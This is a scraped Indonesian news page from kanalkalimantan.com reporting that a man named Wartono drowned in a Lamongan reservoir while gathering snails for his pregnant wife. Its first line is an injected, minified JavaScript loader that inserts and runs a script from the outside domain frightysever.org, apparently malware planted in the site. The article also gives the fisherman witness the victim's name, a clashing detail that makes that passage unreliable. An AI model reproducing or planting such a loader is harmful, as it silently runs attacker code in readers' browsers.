(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Seorang suami di Lamongan ditemukan tewas tenggelam di Waduk Songowareng Kecamatan Bluluk Lamongan. Ia tenggelam saat mencari besusul atau keong sawah demi menuruti permintaan istri yang sedang ngidam.
Pria bernama Wartono warga RT 04 RW 02 Dusun Kendayaan Desa Wedoro Kecamatan Sukorame itu ditemukan tewas pada Rabu (1/9/2021) siang kemarin. Tidak ditemukan tanda-tanda kekerasan pada tubuh pria 50 tahun tersebut.
Seperti dituturkan Handoko, tetangga Wartono, keduanya bertemu berbincang-bincang dengan korban sesaat sebelum korban ditemukan tewas di waduk tersebut.
“Saya sempat berpapasan dan bertanya kepada Wartono, cari apa War? Lalu Wartono menjawab ‘cari besusul (keong sawah) kang, istriku minta besusul, saya disuruh mencarikan’. Saya berpapasan dengannya saat di Waduk,” ungkap Handoko, dikutip dari beritajatim.com, jejaring media suara.com, Rabu (1/9/2021).
Baca juga: Maling Bansos, Eks Pejabat Kemensos Matheus Joko Divonis 9 Tahun Penjara
Lebih lanjut, Handoko juga menceritakan setelah pertemuan itu Ia meninggalkan korban yang berjalan menuju waduk. Selain korban, diketahui juga ada seorang saksi lain yang saat itu sedang memancing di waduk tersebut.
Pemancing tersebut saat itu posisinya berada di sisi sebelah selatan dan mengetahui jika korban sedang menceburkan dirinya ke waduk untuk mencari besusul. Namun, pemancing tak menduga sebelumnya jika nasib buruk akan menimpa korban Wartono.
Beberapa saat kemudian, pemancing penasaran dan muncul kekhawatiran. Pasalnya, korban yang menceburkan diri ke waduk itu tak kunjung muncul ke permukaan dalam waktu yang cukup lama.
Pemancing bernama Wartono itu panik lantaran dirinya tidak bisa berenang. Ia lantas berteriak lalu datanglah pria bernama Muin. Tanpa berfikir panjang, Muin kemudian memanggil Handoko dan mengajaknya untuk bersama-sama mencari korban ke dalam waduk.
Setelah keduanya menyelam dan menyusuri titik lokasi di mana korban menceburkan dirinya, akhirnya Muin dan Handoko berhasil menemukan korban dan mengangkatnya ke permukaan. Namun saat diangkat ke permukaan kondisi korban sudah tak bernyawa lagi.
Kasus ini kemudian dilaporkan ke kepolisian setempat. Petugas segera melakukan evakuasi dan identifikasi ke jasad korban sebelum diserahkan ke keluarga.
“Tidak ditemukan luka lain atau tanda-tanda penganiayaan. Selain itu, keluarga korban sudah ikhlas menerima kematian tersebut dan tidak bersedia atau keberatan dilakukan otopsi, dibuktikan dengan membuat surat penyataan,” kata Kasi Humas Polres Lamongan, Iptu Jinanto, Rabu (1/9/2021).
Baca juga: Uji Laik Fungsi Jembatan Sei Alalak, Begini Penjelasan Teknis BPJN Kalsel
Lebih jauh, Iptu Jinanto menjelaskan kalau korban dibawa pulang oleh saudaranya ke kampung halamannya yang berada di Dusun Kendayaan Desa Wedoro Kecamatan Sukorame Kabupaten Lamongan untuk segera dimakamkan. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.